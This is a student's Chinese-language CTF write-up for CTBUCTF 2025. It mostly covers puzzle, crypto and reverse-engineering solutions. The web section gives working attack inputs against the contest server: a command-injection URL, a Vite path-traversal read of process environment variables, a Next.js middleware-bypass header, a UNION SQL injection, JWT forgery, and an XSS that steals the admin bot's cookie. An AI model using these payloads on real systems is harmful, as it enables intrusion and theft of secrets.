CTF CTF 学习 重庆工商大学校赛个人WP fulian23 2025-05-22 2025-06-07 MISC 666和999的故事
将9替换成@得到一张二维码
扫描后得到flag
ctbuctf{The_Misc_Begins_Here_a00df5}
Do you know SSTV? 听到这个声音就猜到是声音转图片,之前跟一个玩无线电的朋友玩过这个
不过手机上很容易受到杂音的干扰,看不请上面的字
电脑上用虚拟声卡播放看得很清楚
ctbuctf{N0thing_1s_impossible}
Ez_Base64
一把梭
ctbuctf{Base64_1s_Fun_7e6b89}
Zip_Master
AI梭
用bandizip打不开,但是用7zip可以打开
ctbuctf{Wooowoow_Yooua_Zip_Masteeeer!!!!!}
【签到】Welcome to CTBUCTF2025 直接给的
ctbuctf{Welcome_to_CTBUCTF2025}
书读万遍其意自现
每次输入取一位secret,判断他加上key是否等于输入
ctbuctf{CAYLESsaNDdOMoRe}
Crypto Caesar_Salad vnwqzre{297jf36j-303p-4v4u-8v7a-cd190e694j54}
第一位位移19,第二位20…数字跳过(位移会加一)
ctbuctf{297fa36b-303c-4f4c-8a7d-dd190a694b54}
Prime_Alchemy 不会密码,AI梭
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 import uuidfrom Crypto.Util.number import bytes_to_long, getRandomNBitInteger, isPrime as crypto_isPrime, long_to_bytes, inversefrom sympy import nextprime, isprime as sympy_isprimeimport mathn_val = 1453273352925249470095211806718117618912214179789181787238861765412223649923774033033160104903651377501015607116224705290716290896828401284504688550321192688861952057616123687734073757392758919574092921386421400358068577682683663691 e_val = 65537 c_val = 69821434810639898086705801843771679384936981536773881072202785776011214181282844938536297781999582346226156967398464463215845344993519293615963219614824678722311404183637250306235309075386059078019233706113533688380177630122904768 r_val = 71027232075164735205009199032831071477036566797258769709514666348775682672270 print ("Step 1: Calculate nextprime(r)" )npr_val = nextprime(r_val) print (f"r = {r_val} " )print (f"nextprime(r) = {npr_val} " )print ("\nStep 2: Calculate q_approx" )denominator = npr_val + r_val q_squared_approx = n_val // denominator q_approx = math.isqrt(q_squared_approx) print (f"q_approx = {q_approx} " )print (f"q_approx bit_length: {q_approx.bit_length()} " )print ("\nStep 3: Search for the true q" )q_found = None p_found = None for i in range (2000 ): q_candidate = q_approx - i if q_candidate <= 1 : print (f"q_candidate became too small ({q_candidate} ), stopping search." ) break if i > 0 and i % 50 == 0 : print (f"Searching... tried {i} values from q_approx. Current q_candidate has {q_candidate.bit_length()} bits." ) if not crypto_isPrime(q_candidate): continue if n_val % q_candidate == 0 : p_candidate = n_val // q_candidate npq_candidate = nextprime(q_candidate) p_check = q_candidate * npr_val + npq_candidate * r_val if p_candidate == p_check: if crypto_isPrime(p_candidate): q_found = q_candidate p_found = p_candidate print (f"\nFound p and q after {i + 1 } iterations from q_approx!" ) print (f"q = {q_found} (bit_length: {q_found.bit_length()} )" ) print (f"p = {p_found} (bit_length: {p_found.bit_length()} )" ) break if p_found is None or q_found is None : print ("Failed to find p and q with this search range." ) exit() print ("\nStep 4: Calculate phi" )phi = (p_found - 1 ) * (q_found - 1 ) print (f"phi = {phi} " )print ("\nStep 5: Calculate d (private exponent)" )d_val = inverse(e_val, phi) print (f"d = {d_val} " )print ("\nStep 6: Decrypt ciphertext c" )m_val = pow (c_val, d_val, n_val) print (f"m_val (decrypted message as long) = {m_val} " )print ("\nStep 7: Convert message to bytes and then to string" )byte_len = (m_val.bit_length() + 7 ) // 8 flag_bytes = long_to_bytes(m_val, byte_len) try : flag_str = flag_bytes.decode('utf-8' ) print (f"\nFlag: {flag_str} " ) except UnicodeDecodeError: print (f"\nCould not decode flag bytes to UTF-8. Raw bytes: {flag_bytes} " )
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 Step 1: Calculate nextprime(r) r = 71027232075164735205009199032831071477036566797258769709514666348775682672270 nextprime(r) = 71027232075164735205009199032831071477036566797258769709514666348775682672321 Step 2: Calculate q_approx q_approx = 101145417666702901428629971949799084420404974663970101504809220600550818364156 q_approx bit_length: 256 Step 3: Search for the true q Found p and q after 8 iterations from q_approx! q = 101145417666702901428629971949799084420404974663970101504809220600550818364149 (bit_length: 256) p = 14368158107904748381924430862275776814058794907286362788355652593016651552866866977879820582509398565068235908334390728100582465729030896202072334785636159 (bit_length: 513) Step 4: Calculate phi phi = 1453273352925249470095211806718117618912214179789181787238861765412223649923759664875052200155269453070153331339410646495809004534040045631911671898768325720738654570330712860539033571685340108441017674950590864652645904797079663384 Step 5: Calculate d (private exponent) d = 610695456605602490294370098677341947676005592434717280628625860497926962157259886333810482510278479905275229947775595533737888290087475116389939180799848793035118282297142563425927103227402331300877775426694423188944691061714358753 Step 6: Decrypt ciphertext c m_val (decrypted message as long) = 912396200799613787975790773606557340316526091833584643916779032146413804979399082199642618048151976064659837 Step 7: Convert message to bytes and then to string Flag: ctbuctf{2772e794-84f0-47e0-a708-e07399ad4091}
ctbuctf{2772e794-84f0-47e0-a708-e07399ad4091}
撒豆成兵 依然是AI
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 n = 20250427 e = 65537 ct = [12385674 , 5936435 , 14149074 , 14788627 , 12385674 , 5936435 , 1035132 , 6977025 , 4810471 , 1719471 , 1719471 , 1753036 , 1669202 , 18035719 , 14149074 , 18035719 , 11051005 , 4810471 , 10294460 , 10660074 , 10294460 , 11051005 , 10294460 , 12385674 , 12530148 , 1753036 , 11051005 , 14149074 , 19959794 , 16564519 , 19959794 , 11051005 , 6637936 , 1753036 , 6637936 , 12530148 , 1035132 , 10660074 , 1719471 , 10660074 , 9659730 , 1035132 , 10660074 , 10294460 , 15043166 ] p = 6287 q = 3221 phi = (p-1 )*(q-1 ) d = pow (e, -1 , phi) plaintext = [] for c in ct: m = pow (c, d, n) plaintext.append(m) flag_bytes = bytes ([x for x in plaintext]) print ("Flag:" , flag_bytes.decode())
1 Flag: ctbuctf{1ee095b5-1434-4c80-b6a6-7078f3e3df34}
ctbuctf{1ee095b5-1434-4c80-b6a6-7078f3e3df34}
WEB Welcome !! 发现点击破解没发送请求,猜测是纯前端实现的,复制源码丢给AI分析
ctbuctf{we1c0me_t0_CT9UC7F2025}
terminal 也是纯前端,丢给AI解密
flag{7h15_15_a_v3ry_g00d_5747}
Poem:Imprisoned XII 里面可以传cmd通过rot13后直接执行
UA里存在CRYCHIC才能访问通过
1 http://ctf.ctbu.edu.cn:33352/?cmd=flfgrz("png /synt.cuc");
ctbuctf{Saki-Chan-Saki-Chan-195405f77e92-Saki-Chan-Saki-Chan}
vite_dev👻 RUN npm install vite@6.2.1 -D --force
dockerfile里发现vite版本,搜索到CVE-2025-30208
http://ctf.ctbu.edu.cn:33356/proc/self/environ?import&raw??
查看当前进程的环境变量,得到flag
ctbuctf{g00d_272da8f0-4ffa-4ae4-aeb9-14a71a83da8c}
🎭 Mutsumi or Mortis? 刚好b站上刷到过这个漏洞,CVE-2025-29927
请求头中加入x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware
即可访问/admin
1 2 3 4 5 6 7 8 export function middleware (request ) { const isAdmin = request.cookies .get ('isAdmin' )?.value ; if (!isAdmin && request.nextUrl .pathname .startsWith ('/admin' )) { return Response .redirect (new URL ('/403' , request.url )); } }
根据源码,其实cookie设置了isAdmin就能访问/admin,一个小非预期
ctbuctf{42ec9f00-c582-405e-b576-99415116adcd-SOYO-LOVE}
terminal pro about.md里提示是伪造jwt
想法是吧jwt里的alg设置为none,然后role设为admin
然后访问的时候报错了,没识别出alg的加密方式
不过报错中泄露了key(应该是非预期吧)
根据key生成jwt
得到flag
ctbuctf{21e30106-a458-4376-9ae2-dec498438a1e}
Sql_No_map…? 一开始以为是盲注,用盲注确实能行,但是FLAG字段会被扫描成flag,转成小写了,导致一直没获取到值
之后无意打开源码才发现给出了后端源码
用union联合注入就行了
http://ctf.ctbu.edu.cn:33359/?id=-1/**/UNION/**/SELECT/**/group_concat(k),group_concat(v)/**/FROM/**/FLAG--
得到flagctbuctf{39aec934-0c33-47d9-9892-fa3ff188f9e0_TIGER_DRAGON_[TEAM_HASH]}
SecureCorp Employee Portal 这题应该是web中最绕的了
1 2 3 4 5 6 7 8 9 10 11 12 @app.route('/admin' , methods=['GET' ] ) def admin (): logger.info(f'Admin panel accessed - Token check: {X_Admin_Token} ' ) logger.debug(f'Cookies received: {request.cookies} ' ) if request.cookies.get('X-Admin-Token' ) != X_Admin_Token: logger.warning(f'Unauthorized access attempt from {request.remote_addr} ' ) return 'Access denied: Invalid security credentials' , 403 logger.info('Admin authentication successful' ) prompt = request.args.get('prompt' ) return render_template('admin.html' , cmd=f"{prompt if prompt else 'prompt$/>' } {run_cmd()} " .format (run_cmd))
/admin这个路径要有X_Admin_Token,访问不了,既然有防护肯定是要进这个页面的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 def visit_report (url, X_Admin_Token ): options = Options() options.add_argument('--headless' ) options.set_preference("security.warn_submit_secure_to_insecure" , False ) browser = webdriver.Firefox(options=options) try : print (f'[Bot] Initializing security verification' ) browser.get('http://127.0.0.1:5000/' ) cookie = { 'name' :'X-Admin-Token' , 'value' : X_Admin_Token, 'secure' : False , 'httpOnly' : False , 'expiry' : None } browser.add_cookie(cookie) print (f'[Bot] Visiting target URL: {url} ' ) browser.get(url) WebDriverWait(browser, 10 ).until(lambda r: r.execute_script('return document.readyState' ) == 'complete' ) print (f'[Bot] Page loaded successfully' ) except Exception as e: print (f"[Bot] Error during verification: {e} " ) finally : browser.quit() print (f'[Bot] Security verification completed' )
bot访问页面时直接带上了X_Admin_Token
1 2 3 4 <div class ="search-result" > <p > > Performing external lookup for employee: <span class ="search-term" > {{query|safe}}</span > </p > <p > > Searching external databases... <span class ="blink" > _</span > </p > </div >
而external-lookup页面中使用了{xx|safe},这不会将显示的内容转义
环环相扣,用report让AI访问external-lookup页面,query中将cookie发送到自己的服务器中
得到X_Admin_Token,然后带上访问admin
本以为就要结束了,没想到是新的开始
这页面还真不能执行命令,但是注意到admin返回的是
1 return render_template('admin.html' , cmd=f"{prompt if prompt else 'prompt$/>' } {run_cmd()} " .format (run_cmd))
所以可以让prompt为{0},这样prompt的内容就是run_cmd这个函数(其实我一开始想的是SSTI,有点像搞了半天)
得到这个函数后用__globals__查看有哪些变量,发现了有os,os中的environ可以看到程序的环境变量
读到flag
ctbuctf{55f629912ca2_V3ry_go0d_!55f629912ca2}
REVERSE SignUp
base32解密得到flag
ctbuctf{W3lc0m3_t0_ctbuctf2025_3nj0y!}
PytheSnake pyinstaller逆向,得到源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 import pygameimport randomimport sysimport timeimport base64pygame.init() WHITE = (255 , 255 , 255 ) BLACK = (0 , 0 , 0 ) RED = (255 , 0 , 0 ) GREEN = (0 , 255 , 0 ) BLUE = (0 , 0 , 255 ) (WIDTH, HEIGHT) = (600 , 400 ) GRID_SIZE = 20 GRID_WIDTH = WIDTH // GRID_SIZE GRID_HEIGHT = HEIGHT // GRID_SIZE SNAKE_SPEED = 10 BASE_TABLE = '234567XYZABCDEFGHIJKLMNOPQRSTUVW' screen = pygame.display.set_mode((WIDTH, HEIGHT)) pygame.display.set_caption('Snake - Need 555!' ) clock = pygame.time.Clock() score = 0 font = pygame.font.SysFont('arial' , 20 ) class Snake : def __init__ (self ): self .positions = [ (GRID_WIDTH // 2 , GRID_HEIGHT // 2 )] self .direction = (1 , 0 ) self .length = 1 self .score = 0 self .color = GREEN def get_head_position (self ): return self .positions[0 ] def update (self ): head = self .get_head_position() (x, y) = self .direction new_head = ((head[0 ] + x) % GRID_WIDTH, (head[1 ] + y) % GRID_HEIGHT) if new_head in self .positions[1 :]: return False None .positions.insert(0 , new_head) if len (self .positions) > self .length: self .positions.pop() return True def reset (self ): self .positions = [ (GRID_WIDTH // 2 , GRID_HEIGHT // 2 )] self .direction = (1 , 0 ) self .length = 1 self .score = 0 def render (self, surface ): pass class Food : def __init__ (self ): self .position = (0 , 0 ) self .color = RED self .randomize_position() def randomize_position (self ): self .position = (random.randint(0 , GRID_WIDTH - 1 ), random.randint(0 , GRID_HEIGHT - 1 )) def render (self, surface ): rect = pygame.Rect((self .position[0 ] * GRID_SIZE, self .position[1 ] * GRID_SIZE), (GRID_SIZE, GRID_SIZE)) pygame.draw.rect(surface, self .color, rect) pygame.draw.rect(surface, BLACK, rect, 1 ) def decode_flag (encoded ): '''使用自定义字母表的标准Base32解码''' custom_to_std = str .maketrans(BASE_TABLE, 'ABCDEFGHIJKLMNOPQRSTUVWXYZ234567' ) std_encoded = encoded.translate(custom_to_std) padding = '=' * ((8 - len (std_encoded) % 8 ) % 8 ) flag_bytes = base64.b32decode(std_encoded + padding) return flag_bytes.decode('utf-8' ) def draw_grid (surface ): pass def show_game_over (surface ): font = pygame.font.SysFont('arial' , 24 ) text = font.render('You Died!Press R to restart' , True , BLACK) text_rect = text.get_rect(center = (WIDTH // 2 , HEIGHT // 2 )) surface.blit(text, text_rect) pygame.display.update() def show_flag (surface ): font = pygame.font.SysFont('arial' , 24 ) e_flag = 'DERX6UC5FIKYNMBWBAGKZORJXDR54ORHG7GKFR3KCTRNTE5CXEGLRE3MXTQO6ZBVCUGYR' flag = decode_flag(e_flag) text = font.render(f'''Flag: {flag} ''' , True , BLUE) text_rect = text.get_rect(center = (WIDTH // 2 , HEIGHT // 2 - 50 )) surface.blit(text, text_rect) pygame.display.update() def main (): snake = Snake() food = Food() game_over = False flag_shown = False if __name__ == '__main__' : main() return None
换表的base32,解密出flag
ctbuctf{U_R_4_R341_Py_7h3_5n4k3_M4573r!^_^}
SignUpx+÷- 根据题目,有个upx壳,脱壳后找到加密的部分丢给AI,得到一个解密脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 encrypted = [ 0x64 , 0x72 , 0x26 , 0x1D , 0x68 , 0x6E , 0xCA , 0x0F , 0x5B , 0x29 , 0xB2 , 0x04 , 0x5F , 0x27 , 0xFD , 0x05 , 0x42 , 0x23 , 0x0D , 0x02 , 0x49 , 0x1F , 0xFF , 0x01 , 0x5F , 0x3B , 0x3A , 0x03 , 0x54 , 0x12 , 0x81 , 0x02 , 0x6D , 0x12 , 0x2B , 0x00 , 0xA2 ] def check_prefix (s ): """ 模拟 C++ 里对前 len(s) 个字符加密后,是否都与 encrypted 对应位置一致。 """ n = len (s) for i, ch in enumerate (s): i1 = i + 1 v = ord (ch) m = i1 % 4 if m == 1 : v = v + i1 elif m == 2 : v = v - i1 elif m == 3 : v = (v * i1) & 0xFF else : v = v // i1 if v != encrypted[i]: return False return True def gen_candidates (i ): """ 返回位置 i(0-based)上,所有可能的原字符列表。 """ i1 = i + 1 e = encrypted[i] m = i1 % 4 cands = [] for c in range (0x20 , 0x7F ): v = c if m == 1 : v = v + i1 elif m == 2 : v = v - i1 elif m == 3 : v = (v * i1) & 0xFF else : v = v // i1 if v == e: cands.append(chr (c)) return cands candidates = [gen_candidates(i) for i in range (len (encrypted))] def dfs (pos, prefix ): if pos == len (encrypted): return prefix for ch in candidates[pos]: new_str = prefix + ch if check_prefix(new_str): res = dfs(pos + 1 , new_str) if res: return res return None if __name__ == "__main__" : flag = dfs(0 , "" ) print ("Recovered flag:" , flag)
但是运行后的结果是ctbtctfxR3V0R53P15_(45Y FUNT70_@L4Y }
,每隔4个就有一个错误
人肉修复
ctbuctf{R3V3R53_15_345Y&FUN_70_PL4Y!}
小学数学_v1 打开后很多等式,用python的z3太慢了,我让AI写了个c++的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 #include <iostream> #include <vector> #include <string> #include "z3++.h" int main () { z3::context ctx; z3::solver s (ctx) ; z3::expr_vector flag_chars (ctx) ; for (int i = 0 ; i < 35 ; ++i) { std::string var_name = "flag_" + std::to_string (i); flag_chars.push_back (ctx.int_const (var_name.c_str ())); } for (int i = 0 ; i < 35 ; ++i) { s.add (flag_chars[i] >= 32 ); s.add (flag_chars[i] <= 126 ); } z3::expr Str = flag_chars[0 ]; z3::expr v5 = flag_chars[1 ]; z3::expr v6 = flag_chars[2 ]; z3::expr v7 = flag_chars[3 ]; z3::expr v8 = flag_chars[4 ]; z3::expr v9 = flag_chars[5 ]; z3::expr v10 = flag_chars[6 ]; z3::expr v11 = flag_chars[7 ]; z3::expr v12 = flag_chars[8 ]; z3::expr v13 = flag_chars[9 ]; z3::expr v14 = flag_chars[10 ]; z3::expr v15 = flag_chars[11 ]; z3::expr v16 = flag_chars[12 ]; z3::expr v17 = flag_chars[13 ]; z3::expr v18 = flag_chars[14 ]; z3::expr v19 = flag_chars[15 ]; z3::expr v20 = flag_chars[16 ]; z3::expr v21 = flag_chars[17 ]; z3::expr v22 = flag_chars[18 ]; z3::expr v23 = flag_chars[19 ]; z3::expr v24 = flag_chars[20 ]; z3::expr v25 = flag_chars[21 ]; z3::expr v26 = flag_chars[22 ]; z3::expr v27 = flag_chars[23 ]; z3::expr v28 = flag_chars[24 ]; z3::expr v29 = flag_chars[25 ]; z3::expr v30 = flag_chars[26 ]; z3::expr v31 = flag_chars[27 ]; z3::expr v32 = flag_chars[28 ]; z3::expr v33 = flag_chars[29 ]; z3::expr v34 = flag_chars[30 ]; z3::expr v35 = flag_chars[31 ]; z3::expr v36 = flag_chars[32 ]; z3::expr v37 = flag_chars[33 ]; z3::expr v38 = flag_chars[34 ]; s.add (v5 * v6 + Str - v7 + v8 == 11449 ); s.add (v12 + v10 * v9 - v11 - v13 == 11663 ); s.add (v14 + v15 * v16 - v17 * v18 == 927 ); s.add (v21 * v20 * v19 - v22 + v23 == 625575 ); s.add (v25 * v26 + v24 - v27 - v28 == 11448 ); s.add (v30 * v29 - v31 - v32 + v33 == 5612 ); s.add (v37 + v35 * v36 + v34 + v38 == 5537 ); s.add (v37 * v31 + v38 == 2828 ); s.add (v16 + v17 - v32 * v33 == -5499 ); s.add (v29 * v21 + v34 == 2811 ); s.add (v30 + v16 + v35 == 271 ); s.add (v31 * v22 + v36 == 5666 ); s.add (v23 + v32 * v37 == 5829 ); s.add (v33 + v24 + v38 == 291 ); s.add (v34 * v25 * v35 == 687764 ); s.add (v15 + v16 * v17 == 6066 ); s.add (v20 + v19 + v21 == 275 ); s.add (v23 * v22 + v24 == 5782 ); s.add (v25 + v24 + v26 == 330 ); s.add (v26 + v27 * v28 == 5763 ); s.add (v30 * v29 + v31 == 5771 ); s.add (v32 + v31 - v33 == 108 ); s.add (v34 * v33 - v35 == 5983 ); s.add (Str * v35 + v5 == 4967 ); s.add (v10 + v9 - v11 == 95 ); s.add (v13 + v14 * v15 == 5279 ); if (s.check () == z3::sat) { z3::model m = s.get_model (); std::string result_flag = "" ; for (int i = 0 ; i < 35 ; ++i) { result_flag += static_cast <char >(m.eval (flag_chars[i]).as_int64 ()); } std::cout << "Found flag: " << result_flag << std::endl; } else { std::cout << "Failed to find a solution." << std::endl; } return 0 ; }
运行后是ctbxf~^}'_l0v3_rp1m4ry_m47h3m4t1k5}
依然人肉修复
ctbuctf{1_l0v3_pr1m4ry_m47h3m4t1k5}
FORENSICS 学弟复仇记Ⅰ:情人节行动
软件一把梭,还得到了secret
ctbuctf{xxxLoveyyy1314_xxx20000818_qweasdzxc123456}
ctbuctf{39o475}
学弟复仇记Ⅱ:网络谜踪
沙箱梭
ctbuctf{103.117.120.68}